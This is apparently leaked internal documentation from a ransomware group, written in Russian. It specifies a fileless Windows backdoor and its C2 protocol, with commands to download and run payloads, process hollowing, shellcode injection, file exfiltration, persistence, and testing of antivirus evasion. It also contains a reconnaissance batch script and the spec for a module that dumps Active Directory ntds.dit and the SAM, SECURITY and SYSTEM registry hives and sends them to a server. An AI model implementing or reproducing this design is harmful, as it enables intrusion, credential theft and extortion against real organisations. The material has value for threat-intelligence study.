Потому все что касается резидентности (закрепление, обновление, удаление) в данной версии делать НЕ НУЖНО.
Однако заглушки остаются и в замысел закладывается то, что отдельные (точечные) исполнения могут быть резидентными и данные функции поддерживать.
** сбор информации может быть вынесет во внешний скрипт и не являться частью бэкдора.
Весь дополнительный функционал (в том числе интерактивный shell) РЕАЛИЗУЕТСЯ СТОРОННИМ СОФТОМ, загружаемым по команде.
Можно подобрать любую нагрузку для запуска. То, чего нету в паблике и есть у нас, можно адаптировать для запуска как .exe (соксы итд).
РЕАЛИЗАЦИЯ
0. Общие требования
Бэкдор должен придерживаться следующих правил:
- ничего не сохранять в виде файлов, по возможности и свое тело (fileless)
- работать с правами непривилегированного пользователя
- минимальная версия ОС - Windows 7/Windows 2008 (без R2)
- основной рабочий вариант - 32-разрядная сборка, которая должна работать как с 32-, так и с 64-разрядной нагрузкой (запускаемыми файлами).
- 64-разрядная сборка также входит в комплект поставки.
Fileless означает, что значительная часть функционала реализуется скриптами powershell, wscript, jscript и прочими встроенными в Windows интерпретаторами.
При необходимости сохранения чего-либо на диск, следует использовать стеганографию - мимикрию под валидные типы файлов
(картинки, криптографические сертификаты .p12, .pfx, .crt итд), сохранение тела .exe в реестре, в файловых потоках (ntfs file streams)
и прочих неочевидных местах.
Бэкдор должен быть выполнен в соответствии с требованиями "оформление кода и сборок".
Вдобавок, нужно минимизировать размер бинарного файла - путем отключения всевозможных проверок безопасности Visual Studio (может, использовать другой компилятор?),
отключения по-максимуму стандартной библиотеки, итд.
Следует подготовить проекты для сборки в разных компиляторах (как минимум, кроме Visual Studio - еще MinGW, возможно clang) с целью повысить вариативность бинарников.
Бот может быть оформлен как в виде .exe, так и в виде .dll (для более простого запуска из загрузчика,
т.к. развертывание .dll из памяти проще чем безфайловый запуск .exe).
В таком случае точка входа в .dll - функция DllMain(DLL_PROCESS_ATTACH)
1. Идентификация
Бэкдор должен однозначно идентифицироваться уникальным идентификатором.
Предлагается использовать md5-хэш от строки "дата_создания%windir%.имя_компьютера.дата_создания%windir\system32%.имя_домена_или_workgroup",
причем использовать НЕ hex-представление, а обычное 10-чное представление хеша в виде длинного 128-битного числа.
- ИД всякий раз должен генерироваться
- при этом он должен быть одинаков при запуске от разных пользователей системы
- он не должен сохраняться на диск
- он должен быть уникален
Вторым важным идентификатором является группа - строка произвольной длины. Самим ботом никак не интерпретируется.
Она зашита в бинарник на этапе сборки; единственное ее предназначение с точки зрения бота - быть отправленным на сервер.
Если в боте нету жестко прошитой группы в теле самого бота, то бот _не_отправляет_ значение группы в запросах (см.ниже).
Идентификатор нужен для того, чтобы отличить одного бота от другого.
Группа нужна для того, чтобы знать владельца бота (оператора, которому доступны действия с ним).
2. Защита от перехвата управления
Возможные сценарии захвата управления ботнетом следующий:
- захват контроля над скомпрометированной прокладкой
- спуфинг доменных имен на DNS-серверах
Защита состоит в валидации командных серверов по цифровой подписи, и резервировании соединений.
Подробно алгоритм соединения и валидации описан в ТЗ Резидентный загрузчик.
ПРОТОКОЛ ОБМЕНА С BACKENDОМ
1. Общие требования
Весь обмен идет по протоколу HTTP(S). Возможно туннелирование протокола через другие транспорты (DNS, ICMP) с целью прохода файрволлов и скрытия трафика,
но база - HTTP.
Все запросы содержат в URI идентификатор бэкдора, тип операции и параметры, например
GET /%id%/%operation%/%params%
Ответ с HTTP-кодом 200 считается успешным; все коды, не равные 200 обозначают ошибочную ситуацию.
Группа должна передаваться при любом запросе на сервер в виде заголовка Cookie с именем group и значением группы.
Все команды скачивания файла из сети предполагают, что файл шифруется.
В качестве алгоритма шифрования используется XOR. Ключом является идентификатор бэкдора в HEX-представлении.
Предполагается, что админка будет готовить и выдавать линк на скачивание
шифрованого тела файла для каждого бота.
Предполагается, что админка будет кешировать часто запускаемые файлы, чтобы сэкономить на числе
загрузок файлов в админку.
Все команды отправки данных на сервер (POST) предполагают такое же шифрование содержимого тела POST-запроса.
Все команды запуска программы на выполнение предполагают следующее:
- %cmdline% используется для обозначения командной строки, передаваемой запускаемому процессу. При этом в командной строке могут быть пробелы.
То есть, в команде вида "10 https://site.com/file.xyz -c -z -a" командной строкой является подстрока "-c -z -a",
что соответствует условному обозначению %cmdline% в дальнейших примерах.
- в командной строке может использоваться макрос %id%, вместо которого подставляется идентификатор бэкдора в десятичном представлении.
Например, полученная бэкдором с ИД 12345 с сервера команда "10 1 0 https://site.com/file.xyz -c -z -a -i %id%" должна быть преобразована в
командную строку "-c -z -a -i 12345" перед передачей запускаемому процессу.
- для любого запускаемого процесса должна устанавливаться переменная окружения VERS, содержащая идентификатор бота.
В дальнейшем список макросов командной строки может быть расширен - предусмотреть.
Запуск скриптов и команд cmd/powershell предполагается делать обычным CreateProcess().
Запуск сторонних .exe следует производить с помощью скрытных техник Process Hollowing/Process Doppelganging.
2. Подключение к командному серверу
В бэкдоре прошито на этапе сборки несколько параметров:
- идентификатор группы
- адрес основного сервера для связи
- адрес резервных emercoin-доменов (несколько)
Алгоритм поиска и валидации к серверу описан в ТЗ Резидентный загрузчик.
При любом сетевом сбое в уже установленном соединении с сервером (таком как отсутствие ответа по таймауту), по умолчанию:
- делаем три повторных попытки
- делаем повторный поиск сервера по алгоритму в ТЗ Резидентный загрузчик.
Предполагается, что:
- если это временный сетевой сбой, то бэкдор возобновит попытки работы после перезагрузки компьютера
- если это постоянное отключение, лучше вести себя тихо и не выдавать свое присутствие в системе.
После резолва IP-адреса из домена Emercoin, следует преобразовать IP-адрес путем операции XOR 254 для каждого октета.
Например, 124.245.101.251 (получен из DNS-ответа) -> 130.11.155.5
Т.к. DNS-информация доступна каждому, таким образом защищаемся от абюзов по взятым из DNS-записи адресам.
Код скрипта ipxor.ps1 на PowerShell:
$ip = read-host -prompt "Enter IP";
write-host $ip;
$newip = '';
($ip.split('.') | foreach {
$octet = [byte] ( $_)
$octet = $octet -bxor 254;
$newip = -join($newip,'.',$octet);
}
)
write-host $newip;
4. Запрос команды:
GET /%id%/2
Ответ: текст вида "код_команды параметры"
Бот дает такой запрос:
- по умолчанию каждые 5 минут
- либо по значению из последнего по счету ответа NOP (см.ниже)
Большинство команд блокирует выполнение (запуски файлов на выполнение с не-нулевым значением timeout),
т.е. предполагается, что нужно дождаться результата предыдущей команды перед выполнением следующей.
Если предыдущая команда была блокирующей, то HTTP-запрос команды делается все равно, но игнорируются все команды кроме 14 (сброс состояния).
Коды команды и параметры:
0 NOP %time% - нет операции. Время - число секунд, на которое должен заснуть бот до следующего отстука на сервер.
1 %time% Получить информацию о системе. Время - число секунд, на которое должен заснуть бот до следующего отстука на сервер.
Параметр time необязателен.
* информация о системе также может получаться путем запуска .cmd-скрипта (командой 12)
10 %runtype% %timeout% %mask_process% %URI% %cmdline% - скачивание и запуск .exe-файла
10 4 [%mode% %cmdline%]
- %runtype% - 1 для обычного запуска (CreateProcess; запускаемый файл произвольной разрядности)
2 для запуска техникой process hollowing (запускаемый файл той же разрядности что и бэкдор)
3 для запуска техникой process doppelganging (запускаемый файл той же разрядности что и бэкдор)
(возможно использование техники Process Herpaderping)
4 самообновление: заместить тело загрузчика скачанным файлом и перезапуститься.
Если тело пустое, начать процедуру самообновления путем запуска загрузчика (то же что режим 0, остается для совместимости)
%mode% - режим запуска:
0 - без файла (запускаем лоадер, который стартовал этот бот и завершаем работу)
1 - exe-лоадер, запуск командой: filename.exe %cmdline%
2 - dll-лоадер, запуск командой: rundll32 filename.dll,%cmdline%
3 - dll-лоадер, запуск командой: regsvr32 /s filename.dll %cmdline%
4 - js-лоадер (способ запуска надо будет уточнить)
cmdline - параметры командной строки запуска
для mode=2 первый параметр - имя экспорт-функции - точки входа в лоадер
5 дроп файла на диск без запуска. cmdline задает полный путь куда положить файл.
- %timeout% - таймаут выполнения команды, в секундах. 0 - не дожидаться выполнения команды (считать, что команда выполнится как фоновый процесс)
Если таймаут указан, бот должен дождаться выполнения команды и отдать код и статус ее завершения последующим запросом.
При этом, бот не может принимать команды на запуск новых процессов до окончания выполнения текущего (приход такой команды из админки считается ошибкой и ботом игнорируется).
Если таймаут не указан, то запускаемый процесс считается фоновым, его судьба не заботит бот, и он может запускать новые процессы без ограничений.
Если процесс не завершился за указанный таймаут, бот прерывает процесс и сигналит ошибку на сервер.
- %mask_process% - имя процесса для маскировки process hollowing/process doppelganging
0 - не использовать
1 - notepad.exe
2 - explorer.exe
3 - svchost.exe
4 - cmd.exe
- %URI% - линк, откуда следует скачать файл (и расшифровать); одна попытка скачать файл, при неудаче - в ответ на команду сообщение "could not download file from %uri%"
В протоколе версии 2 этот параметр отсутствует (здесь и в остальных командах), нагрузка передается в теле GET-ответа.
- %cmdline% - командная строка для запуска (опциональная)
11 %runtype% %pid% %timeout% %URI% %cmdline% - скачивание и запуск .dll-файла
- %runtype% 0 - rundll Предполагается запуск командой rundll32.exe следующим образом:
rundll32.exe dllname.dll,%cmdline%
1 - regsvr Предполагается запуск командой regsvr.exe следующим образом:
regsvr.exe dllname.dll %cmdline%
Название точки входа dll всегда DllRegisterServer
2 - regsvr (silent) То же что и 1, только запуск осуществляется в "тихом" режиме, команда запуска: regsvr32.exe /s dllname.dll %cmdline%
3 - reflective injection в процесс %pid%.
3 и 4 заготовка для
Предполагается использовать технику рефлективной инъекции https://github.com/dismantl/ImprovedReflectiveDLLInjection
Название функции загрузчика (bootstrap function, в оригинале ф-я ReflectiveLoader) передается первым параметром %cmdline.
4 - reflective injection в собственный процесс
- %pid% 0 не используется (для runtype 0 1 3)
не 0 - номер процесса для рефлективной инъекции
12 %runtype% %timeout% [%cmdline%]\r\n%script% - запуск .bat-скрипта с параметрами
- %runtype% - 1 запуск скрипта через канал (см.примечание к команде 13 по технике запуска)
2 дамп скрипта на диск и запуск через CreateProcess
- %cmdline% - командная строка самого скрипта (т.е. то, что передается в параметрах %1, %2 итд в .bat-скрипт - это НЕ командная строка процесса cmd.exe!
параметр необязательный
текст скрипта находится после разделителя строки \r\n
При запуске скрипта с дампом на диск, имя файла со скриптом автогенерируется; после выполнения временный файл со скриптом удаляется
13 %runtype% %timeout% [%cmdline%]\r\n%script% - запуск powershell-скрипта с параметрами
- %runtype% - 1 запуск скрипта через канал
2 дамп скрипта на диск и запуск через CreateProcess
- %cmdline% - командная строка самого скрипта (т.е. то, что передается в argv в .ps1-скрипт - это НЕ командная строка процесса powershell.exe!
Текст скрипта находится после разделителя строки \r\n
В протоколе версии 2 текст скрипта передается в теле GET-ответа.
Предполагается запуск следующим образом:
runtype = 1
открывается канал в родительском процессе, его дескриптор указывается в STARTUPINFO при запуске powershell.exe, далее скрипт пишется в этот канал.
Powershell запускается так:
powershell -
runtype = 2
powershell -executionpolicy bypass -file tmpscript.ps1 %cmdline%
При запуске скрипта с дампом на диск, имя файла со скриптом автогенерируется; после выполнения временный файл со скриптом удаляется
14 - reset. Сброс обработчика предыдущей команды. Если предыдущая команда обладает состоянием (ждем результата выполнения процесса),
мы сбрасываем это состояние и больше ничего не ждем.
15 %pid% - остановить процессс (TerminateProcess)
16 filename - загрузить файл с компьютера на сервер
17 %hexcode% запуск произвольного двоичного кода в контексте собственного процесса,
используя следующую технику https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/SimpleShellcodeInjector.c
Формат кода: AB CD EF 01 23 45 67 - 16-ричная строка с разделителем пробелом, верхний регистр, БЕЗ переводов строки, длина ограничена 1 мегабайтом.
Таймаут не используется. Предполагается что shell-код не блокирующий.
18 %timeout% закрепиться в системе. Предполагается, что бот закрепляет не себя самого, а загрузчик.
100 Удалиться из системы.
Команда актуальна только для варианта бота, который использует закрепление в системе.
5. Результат выполнения предыдущей команды
POST /%id%/3
Тело ответа содержит текст в упаковке form/urlencoded.
Интерпретация зависит от предыдущей команды.
Предполагается, что до получения ответа на команду, последующие команды из админки заблокированы
(иначе невозможно будет понять, ответ на какую из команд пришел).
Бот отправляет результат в цикле до тех пор, пока не будет получен любой ответ от сервера (в том числе ошибочный - HTTP-коды 40*, 50*)
Если в течение трех попыток был таймаут передачи, бот удваивает интервалы отправки, вплоть до достижения интервала в 30 минут.
Пока не отправлен ответ, новые задачи бот не забирает.
5.0. Ответ на команды запуска файлов
Для команд запуска файла ответ состоит из двух частей: идентификатора процесса, и вывода программы (stdout И stderr), разделенные символом новой строки.
pid=1234
stdout and stderr here
Если произошла ошибка запуска, в качестве идентификатора отдается 0 (ноль), и следующей строкой идет сообщение об ошибке.
5.1. Ответ на команду 1 с информацией о системе
Тело POST-запроса отправляется в упаковке form/urlencoded, со следующими полями:
group=%имя группы%
path=полный путь к бинарному файлу бекдора (если не используется полностью fileless технология)
os=3-7 цифр содержащих major-version, minor-version и build операционной системы, если таковые имеются у системы
(например, для 6.1 build 7600 это будет 617600).
os[1]=признак типа ОС (W=Windows) и версия ОС
os[2]=билд ОС
os[3]=ProductInfo https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getproductinfo
Для Windows 7 (Version 6.1 build 7600 ProductInfo 0x00) это будет os[1]=W61&os[2]=7600&os[3]=00
arch=архитектура (разрядность): 86 или 64
cname=имя компьютера
uname=имя пользователя
av[]=тип антивируса
avp[]=версия антивируса
domain=имя домена или рабочей группы компьютера (можно получить по NetWkstaGetInfo)
net=результат команды net view /all
netdomain=результат команды net view /all /domain
net group "Domain Computers" /domain
trust=результат команды nltest /domain_trusts /all_trusts
admin=результат команды net localgroup "administrator"
admindomain=результат команды net group "domain admins" /dom
soft=список установленных программ
ip=внешний IP-адрес компьютера
locale=локаль
tz=временнАя зона
ps=список процессов
wsl=наличие подсистемы WSL/WSL2 на компьютере
5.2. Ответ на команду 100 удаления из системы
Строка OK в случае успеха, любая произвольная строка с описанием ошибки в случае ошибки.
5.3. Ответ на команду 10-4 самообновления
Произвольная строка о статусе, сообщающая о результате действий или намерениях бэкдора.
Например, "ОК", или "Will autoupdate in 60 seconds", или "Cannot proceed"
5.4. Ответ на команду 15 об остановке процесса
В качестве ответа возвращается результат выполнения GetLastError() сразу после выполнения TerminateProcess()
в виде десятичного числа
5.5. Ответ на команду 16 о загрузке файла на сервер
В качестве ответа возвращается содержимое файла "как есть", без контейнеров x-www-urlencoded или multipart/form-data, чтобы не раздувать объем передачи
за счет избыточного кодирования.
Обязательно должен передаваться заголовок Content-Length.
Значение заголовка Content-Type: application/octet-stream
Передаются файлы размером до 10 мегабайт.
На попытку запросить файл большего размера, в теле идет сообщение об ошибке, например File too large (размер)
Админка принимает и сохраняет файл как часть истории; файл доступен для скачивания из истории команд конкретного бота.
5.6. Ответ на команду 17 о выполнении произвольного shell-кода
Произвольная строка о статусе, сообщающая о результатах.
Например:
HEX parse error
Done
Still alive итд
5.7. Ответ на команду 18 о закреплении в системе
Произвольная строка о статусе, сообщающая о результатах.
Например:
Done
Error anchoring, error code = %ld
Still alive итд
6. Отправка сообщения
POST /%id%/4
В теле POST идет произвольное сообщение, зашифрованное XOR %id%
Бэкдор отправляет сообщение по своей инициативе (не в ответ на какое-либо действие или запрос с сервера).
Следует пользоваться отправкой сообщений как можно реже - не стоит флудить.
Предполагается использование этой возможности как удаленное логирование и трассировка.
АДМИНКА, ТРЕБОВАНИЯ
Список ботов
- отображаются боты с IP-адресом, внутренним айди, группой, страной, последней активностью, локальным доменом
(примечание заказчика: при его отсутствии указанием что это воркгруппа, произвольным меняемым комментарием)
- фильтры и сортировка по всем полям
в том числе, во второй версии, нужен поиск по всей системной инфе (версия ОС, наличие/отсутствие софта, итд)
- пагинация или бесконечный скролл (на выбор разработчика)
На странице бота:
- возможность задать заметку для бота (произвольное редактируемое текстовое поле)
- время последней активности
- информация о системе отдельной секцией/табом
- команды боту (в соответствии с перечнем команд из соотв.раздела)
- история бота (каждое событие с датой - установка, все отданные оператором команды с датой-временем со всеми результатами,
события от бота (запрос 4))
Предполагается, что после отдачи команды боту, последующие команды блокируются до получения ответа с бота.
Блокировка снимается после ухода бота в оффлайн (прошло больше времени, чем двойной интервал запроса ботом команды).
В СЛУЧАЕ, ЕСЛИ IP-АДРЕС БЭКДОРА ГЕОЛОЦИРУЕТСЯ В ЗОНЕ СНГ, ВСЕ КОМАНДЫ КРОМЕ "УДАЛИТЬСЯ" ДОЛЖНЫ БЫТЬ ЗАПРЕЩЕНЫ У ОПЕРАТОРА.
Предполагается наличие справочника часто выполняемых файлов (кэш запуска), как для удобства оператора,
так и для экономии трафика и времени на повторных загрузках одних и тех же команд в админку.
Роли доступа:
- админ (может создавать и удалять операторов и делать всё)
- оператор
Уровень доступа оператора регулируется на основании:
- группы (в первой версии)
- страны (это и далее - во второй версии)
- диапазона IP-адресов
ПРИЛОЖЕНИЕ
1. Код получения внешнего IP-адреса
2. Код DNS-резолва через Emercoin
3. Код получения списка установленных программ
4. Код запуска программы через process hollowing/doppelganging
5. Код DNS-туннеля для TCP-соединений
6. Код обфускации строк
7. Код обфускации системных вызовов
ПЛАН ТЕСТИРОВАНИЯ
Полное функциональное тестирование проводим при:
- тестировании новой реализации бэкдора
- существенных изменений в версии
- если замечены существенные недостатки в работе.
Дымный тест на закрепление проводим еженедельно.
Тест на АВ проводим ежедневно и при подготовке криптов.
Исходник (анкрипт) тестируется на АВ
- после того, как разработчик закончил чистку
- каждое утро, если до того исходник был чистый (если есть детекты, этого нету смысла делать)
- если есть основания полагать что есть детекты.
Крипт тестируется на АВ всегда.
ПОЛНОЕ ФУНКЦИОНАЛЬНОЕ ТЕСТИРОВАНИЕ
Проверяем всю систему в комплексе - резидентный загрузчик, бэкдор, админку.
В настройках антивируса нужно отключить отправку образцов и облачную защиту, во всяком случае на первых порах, дабы не слились образцы.
0. Получаем от разработчика комплект лоадеров - логированная и нелогированная версии, x86 и x64.
Сначала проверяем логированную версию, потом нелогированную. Проверяем на находящихся в сети виртуальных машинах.
Так делаем затем, чтобы на любую ошибку можно было показать лог и позвать разработчика на машину.
Если при проверке нелогированной версии возникла ошибка, пытаемся повторить ее на логированной.
Если на логированной повторяется, фиксируем лог и зовем разработчика.
Если на логированной НЕ повторяется, фиксируем что баг присутствует только на нелогированной версии.
Обязательное условие успеха теста на любом шаге - на экране целевой машины нет никакой активности (всплывающих окон, сообщений от АВ итд),
если иначе не оговорено (например, если это не специальная сборка, которая наоборот показывает запускаемые программы итд итп).
1. Запускаем на целевой ВМ лоадер.
2. Переходим в админку под ролью оператора, которому доступна группа этого бота.
Ждем отстука, в течение 5 минут. Если отстука нет, ошибка, стоп.
Бот должен отображаться как "online", если в течение хотя бы 15 последних минут с ним была связь.
3. Выполняем по очереди команды.
Первая команда может выполниться с задержкой (до 5 минут) - это нормально.
3.1. Get System Info
Должны получить инфу о системе в соотв.вкладке.
3.2. Run .exe с разными комбинациями полей Run Type, Host Process (Mask).
Выбираем для этого такой файл, который не требует сторонних .dll (статически скомпонованный). Например, pscp.exe.
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
* при выборе поля timeout = background run, ответ на команду не ожидается - команда выполняется в фоне и судьба ее нас не интересует.
Бот немедленно готов к приему новых команд.
3.3. Run .dll
TODO
3.4. Run .bat
3.4.1. Вводим какую-нибудь отдельную команду, например hostname, whoami, date /t
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
3.4.2. Заливаем подготовленный .bat-файл из нескольких команд. Тестировщик должен знать результат отработки этого файла на своей машине.
Скрипт должен выполниться, в результатах выполнения команды должен быть текст вывода этого скрипта.
3.5. Run PowerShell
3.5.1. Вводим какую-нибудь отдельную команду, например $PSVersionTable.PSVersion
(выводит версию Powershell)
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
3.5.2. Заливаем подготовленный .ps1-файл из нескольких команд. Тестировщик должен знать результат отработки этого файла на своей машине.
Скрипт должен выполниться, в результатах выполнения команды должен быть текст вывода этого скрипта.
3.6. Reset
Перед выполнением этой команды, нужно запустить выполнение чего-либо длительного (можно попробовать run .bat timeout 10000),
что заблокирует выполнение команд ботом.
После выполнения Reset, предыдущая блокирующая команда должна быть помечена как done, бот готов к приему следующей команды.
3.7. Terminate Process
Команда убивает процесс по его номеру (pid)
Для этого нужно подготовить процесс-жертву (например запустить notepad.exe руками и посмотреть его номер в диспетчере задач).
После выполнения команды процесс должен завершиться.
3.8. Download File
Команда скачивает файл с целевой машины (размер до 10М)
Нужно ввести полный путь к файлу в соотв.поле.
После выполнения команды файл должен быть доступен для скачивания, ссылка должна присутствовать в результатах выполнения команды.
3.9. Suicide
Команда удаляет лоадер с целевой машины.
После перезагрузки машины бот не должен отстукивать.
4. Закрепление.
После перезагрузки машины бот должен отстучать в админку.
5. Детекты.
Не должно быть детектов ни на лоадер, ни на бот.
6. Обновление
6.1. Если запущен лоадер x86 на машине x64, он первым делом должен обновиться до x64 версии себя же,
и далее загружать только x64 бота.
Простыми словами - лоадер должен запускать бота максимально доступной разрядности.
6.2.1. Заходим в раздел админки под ролью QA (это человек, который отвечает за релизы и обновления)
6.2.2. Готовим комплект с новой версией бота и лоадера, в которых прошита та же группа, те же пути обновления.
6.2.3. УзнаЁм у разработчика строку с версией этого комплекта. Примечание: у каждого файла из комплекта может быть своя версия.
6.2.4. Заливаем в панели новые версии файлов, выставляем файлам узнанную на предыдущем шаге версию.
6.2.5. Перезагружаем целевую машину. Обновления должны попасть на машину.
ТЕСТ НА ЗАКРЕПЛЕНИЕ
Проверяется только отстук в админку, перезагрузка компьютера и повторный отстук после перезагрузки.
ВАЖНО!
Необходимо уточнить у разработчика детали закрепления. Запуск после перезагрузки может происходит с задержкой или по косвенному триггеру.
ТЕСТ НА АНТИВИРУСНЫЕ ДЕТЕКТЫ
Автотесты на ВМ с нужным АВ используются:
- самим разработчиком в цикле разработки и чистки
- тестировщиком, для чернового тестирования.
Тесты на dyncheck используются:
- перед окончательной выдачей заказчику
- по необходимости
Этого не следует делать часто, дабы не засветить образцы.
Дополнительно перед выдачей заказчику нужно проводить тестирование путем скачивания со ссылки, ПРЕДОСТАВЛЕННОЙ ЗАКАЗЧИКОМ,
с именем файла ПРЕДОСТАВЛЕННЫМ ЗАКАЗЧИКОМ.
ПЛАН ТЕСТИРОВАНИЯ СТАРЫЙ
Приведен только для истории.
ТЕСТИРУЕМ по описанному ВЫШЕ плану!
1. Тестируем получение и исполнение команд. Бэкдор (БД) раз в 30 сек будет запрашивать в админке (AДM) команду,
исполнять и отправлять ответ.
2. Команды выбираются в админке. Таймауты в командах установить 60 секунд.
3. Запрос команды GET /%id%/2, ответ POST /%id%/3.
4. Команды.
4.1. "0 %time%" - в админке no_operation 30 сек.
ответа нет
Эту команду нужно выдать первой для ускорения тестирования, т.к. 30 сек установится для БД навсегда.
4.2. Команда 10. Эта команда должна передать на запуск программу, в качестве которой используется test32.exe.
Программа test32.exe выводит в stdout текст "test" и список полученных параметров. БД должен передать этот вывод в АДM.
Общий формат 10 %runtype% %timeout% %mask_process% %URI% %cmdline%.
4.2.1 "10 1 60 0 %URI% a b c %id%"
АДМ должна установить значение %URI% в адрес к test32.exe,
a b c %id% - это параметры к test32.exe, их выдать как есть, вместе со знаками %. %id% - макрос, который БД заменит на свой id.
Ответ при неудачном запуске:
pid=0
msg=program start error
Ответ при удачном запуске:
pid=NNNN
stdout=вывод из программы
Ответ при снятии по таймауту:
pid=NNNN
msg=timeout
4.2.2 "10 1 0 0 %URI% a b c %id%"
то же, что и 4.2.1, но timeout = 0
Ответ при неудачном запуске:
pid=0
msg=program start error
Ответ при удачном запуске:
pid=NNNN
msg=program is running
4.2.3 "10 2 60 1 %URI% a b c %id%" - process hollowing
ответы такие же
4.2.4 "10 2 0 1 %URI% a b c %id%" - process hollowing, timeout=0
ответы такие же
4.2.5 "10 3 60 1 %URI% a b c %id%" - process doppelganging
ответы такие же
4.2.6 "10 3 0 1 %URI% a b c %id%" - process doppelganging, timeout=0
ответы такие же
4.3. Команда 11. Эта команда должна передать на запуск dll, в качестве которой используется TestDll32.dll.
Функция Start из TestDll32.dll выводит stdout текст "test dll - start()". БД должен передать этот вывод в АДM.
Общий формат 11 %timeout% %URI% %cmdline%
4.3.1. "11 60 %URI% Start"
АДМ должна установить значение %URI% в адрес к TestDll32.dll.
ответы такие же, как в команде 10.
4.3.2. "11 0 %URI% Start" - timeout=0
ответы такие же
4.4. Команда 12. Запуск cmd скрипта.
4.4.1. "12 60 cmd /c cd c:\&&dir" - запуск скрипта без создания bat-файла
ответы такие же, как в команде 10.
4.4.2. "12 60 cmd /c\r\ncd c:\\r\ndir" - запуск скрипта через создание bat-файла
ответы такие же, как в команде 10.
4.5. Команда 13. Запуск powershell скрипта.
4.5.1. "13 60 a b c\r\ncd c:\\r\ndir" - запуск скрипта через создание ps1-файла
a b c - параметры для скрипта, могут отсутствовать.
ответы такие же, как в команде 10.
4.6. Команда 15. Завершить программу.
4.6.1. "15 %pid%"
Ответ:
msg=MMM
4.7. Команда 100. Удаление из системы.
4.7.1. "100"
Ответ:
msg=OK
СКРИПТ ПОЛУЧЕНИЯ ИНФОРМАЦИИ О СИСТЕМЕ
@echo off
echo General Info:
systeminfo
echo.
echo My Username:
whoami
echo.
echo Network Neighbourghoud:
net view /all
echo.
echo Domain Neighbourghoud:
net view /all /domain
echo.
echo Domain Trust:
nltest /domain_trusts /all_trusts
echo.
echo Installed Programs:
reg query hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
echo.
echo Installed Programs (wow64):
reg query hklm\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
echo.
echo Installed Programs (current user):
reg query hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
echo.
echo Installed Programs (current user, wow64):
reg query hkcu\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
echo.
echo Process List:
tasklist
echo.
echo External IP:
powershell -executionpolicy bypass -command "$Servers= @('http://checkip.amazonaws.com','https://ipinfo.io/ip','http://api.ipify.org','https://myexternalip.com/raw','http://wtfismyip.com/text','http://ip.anysrc.net/plain/clientip','http://api.ipify.org/?format=text','http://api.ip.sb/ip','http://ident.me/ip'); $i=Get-Random -Minimum 0 -Maximum 8; Write-Host HTTP-DNS request via $Servers[$i]; $ip=Invoke-WebRequest -UseBasicParsing -Uri $Servers[$i]; write-host $ip.content;"

321
Conti Documentation Leak/docs/modules/ТЗ дамп пользователей Windows и AD.txt

@ -0,0 +1,321 @@
МОДУЛЬ ДАМПА БД ACTIVE DIRECTORY И ЛОКАЛЬНЫХ УЧЕТНЫХ ЗАПИСЕЙ WINDOWS
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Выгрузка данных из БД Active Directory и локальных учетных записей, оформленная в виде модуля.
ПРИНЦИП РАБОТЫ
Модуль использует штатную утилиту `ntdsutil' для выгрузки БД.
Затем данные загружаются на сервер, где происходит их дешифровка и анализ пакетом на Питоне impacket / secretsdump.py
Модуль выполняет дамп БД Active Directory как описано в этой статье:
https://devteev.blogspot.com/2014/04/hacking-tricks-easy-way-to-get-ntdsdit.html
Также модуль делает дамп веток реестра HKLM/SAM, HKLM/Security и HKLM/System.
РЕАЛИЗАЦИЯ
Программа должна быть оформлена в виде модуля в соответствии с документом modules_HOWTO.
Название модуля/проекта - ADll.
Исходить из того, что модуль работает с правами SYSTEM.
* Перед началом работы следует проверить, имеется ли на компьютере служба Active Directory.
* Если нет, отправить сообщение "AD not found" и завершить работу.
* Далее, нужно убедиться, работает ли служба Volume Shadow Copy через WinAPI
(аналогом команды sc query vss), и если нет, запустить (перезапустить) эту службу.
* Далее формируются имена файлов дампа.
Всего файлов дампа 4:
ntds.dit
sam.dump
security.dump
system.dump
Однако в файловой системе эти файлы должны иметь другие имена:
<prefix>0.dat
<prefix>1.dat
<prefix>2.dat
<prefix>3.dat
Префикс должен формироваться как хеш строки ParentInfo.ParentID (см. module_HOWTO) и при этом удовлетворять условиям:
- значению на входе всегда соответствует одно и то же значение на выходе
- по выходному значению нельзя восстановить входное
- длина выходного хеша не зависит от длины входной строки
- получаемый хеш содержит только алфавитно-цифровые символы (читаем человеком и дружествен к файловой системе)
- алгоритм несложен.
Можно предложить такой алгоритм:
- рассчитывается 64-разрядная беззнаковая сумма всех байт (трактуемых как unsigned) поля ParentInfo.ParentID
- 64-разрядное целое трактуется как массив unsigned char filename[8]
- все байты, которые меньше 'a', становятся 'a'
- все байты, которые больше 'Z', становятся 'Z'
Таким образом, при условии подачи на вход одной и той же строки, на выходе также всегда получается одна и та же строка, которая выглядит случайно.
Однако выбор алгоритма за разработчиком.
* модуль проверяет наличие хотя бы одного из этих файлов в каталоге %TEMP%
Если файл(ы) есть, происходит их отправка по протоколу передачи файлов.
Описываемый в следующих двух пунктах дамп не производится - потому что, очевидно, модуль не закончил в прошлый раз,
и теперь мы продолжаем работу.
* Далее нужно запустить команду
ntdsutil "ac in ntds" "ifm" "cr fu %temp%\<prefix>0.dat" q q
Если есть возможность, следует реализовать все действия этой команды через WinAPI
(во второй версии; в первой версии делаем через команду).
* Делаем дамп веток реестра HKLM/SAM, HKLM/Security и HKLM/System командами
reg save hklm\sam %temp%\somepath\<prefix>1.dat
reg save hklm\security %temp%\somepath\<prefix>2.dat
reg save hklm\system %temp%\somepath\<prefix>3.dat
* Полученные файлы дампа данных передаются по протоколу передачи файлов (см.соотв.раздел).
При этом сжатие и передача файла работают в потоке с пониженным приоритетом (так, чтобы не давать пиков нагрузки на ЦП и сеть).
Размеры кусков выбираются исходя из константы(настройки) chunksize. По умолчанию размер константы - 10М.
Адреса серверов берутся из конфига случайным образом (см.ниже).
Между отправками каждого куска файла должна быть пауза, выбираемая случайным образом из интервала TIMEOUT_MIN...TIMEOUT_MAX
(константы времени компиляции). Отправка производится в один поток.
